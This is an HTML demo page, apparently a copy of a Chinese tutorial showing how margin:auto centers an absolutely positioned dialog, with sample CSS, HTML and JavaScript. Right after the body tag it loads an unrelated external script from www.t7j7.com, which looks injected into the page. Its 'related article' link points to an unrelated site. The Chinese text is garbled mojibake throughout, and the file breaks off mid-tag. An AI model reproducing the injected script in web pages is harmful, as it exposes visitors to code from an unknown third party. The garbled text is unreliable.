margin:auto涓嬬粷瀵瑰畾浣嶅厓绱犵殑姘村钩鍨傜洿灞呬腑禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../css/demo.css" type="text/css" /> <link rel="stylesheet" href="../css/hl.css" type="text/css" /> <style> .dialog { width: 600px; height: 400px; margin: auto; border: 1px solid #ddd; border-radius: 15px; background-color: #fff; box-shadow: 0 3px 18px rgba(0,0,0,.5); } .dialog_absolute { position: absolute; left: 0; top: 0; right: 0; bottom: 0; z-index: 1; } .button { display: block; margin: 170px auto; width: 160px; height: 36px; font-size: 14px; } </style> </head> <body> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img src="/php/image/zxx_home_logo.png" border="0" /> </a> </div> <div id="main"> <h1>margin:auto涓嬬粷瀵瑰畾浣嶅厓绱犵殑姘村钩鍨傜洿灞呬腑瀹炰緥椤甸潰</h1> <div id="body" class="light"> <div id="content" class="show"> <h3>灞曠ず</h3> <div class="article_new"><a href="//olsonnd.com/wordpress/?p=3794">鍥炲埌鐩稿叧鏂囩珷禄</a></div> <div class="demo"> <div id="dialog" class="dialog"> <input type="button" id="button" class="button" value="鐐瑰嚮寮规璧拌捣~~" /> </div> </div> <h3>浠ｇ爜</h3> <h5>CSS浠ｇ爜锛?/h5> <pre name="code" class="css"> .dialog { width: 600px; height: 400px; margin: auto; border: 1px solid #ddd; border-radius: 15px; background-color: #fff; box-shadow: 0 3px 18px rgba(0,0,0,.5); } .dialog_absolute { position: absolute; left: 0; top: 0; right: 0; bottom: 0; z-index: 1; } .button { display: block; margin: 170px auto; width: 160px; height: 36px; font-size: 14px; } </pre> <h5>HTML浠ｇ爜锛?/h5> <pre name="code" class="html"> <div id="dialog" class="dialog"> <input type="button" id="button" class="button" value="鐐瑰嚮寮规璧拌捣~~" /> </div> </pre> <h5>JS浠ｇ爜锛?/h5> <pre name="code" class="js"> var eleDialog = document.getElementById("dialog"), eleButton = document.getElementById("button"); eleButton.onclick = function() { if (eleDialog.className === "dialog") { eleDialog.className = "dialog dialog_absolute"; this.value = "鐐瑰嚮寮规闄嶈惤~~"; } else { eleDialog.className = "dialog"; this.value = "鐐瑰嚮寮规璧拌捣~~"; } }; </pre> </div> </div> </div> <script> var eleDialog = document.getElementById("dialog"), eleButton = document.getElementById("button"); eleButton.onclick = function() { if (eleDialog.className === "dialog") { eleDialog.className = "dialog dialog_absolute"; this.value = "鐐瑰嚮寮规闄嶈惤~~"; } else { eleDialog.className = "dialog"; this.value = "鐐瑰嚮寮规璧拌捣~~"; } }; </script>  <script type="text/javascript" src="../js/hl_all.js"></script> <script type="text/javascript"> DlHighlight.HELPERS.highlightByName("code", "pre");//<pre>鏍囩娣诲姞灞炴€ame="code"浠ュ強class="LANG" (LANG鍙互鏄?js", "css", "xml" and "html") </script> <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <div id="ad"> <script type="text/javascript"> google_ad_client = "pub-0090627341039040";google_ad_slot = "4686885989";google_ad_width = 728;google_ad_height = 90;</script> <script type="text/javascript" src="//pagead2.googlesyndication.com/pagead/show_ads.js"></script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?48d8e938d5365a4cb0fc9e65d945018e"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body> </html><script type="text/javascript" src="/sys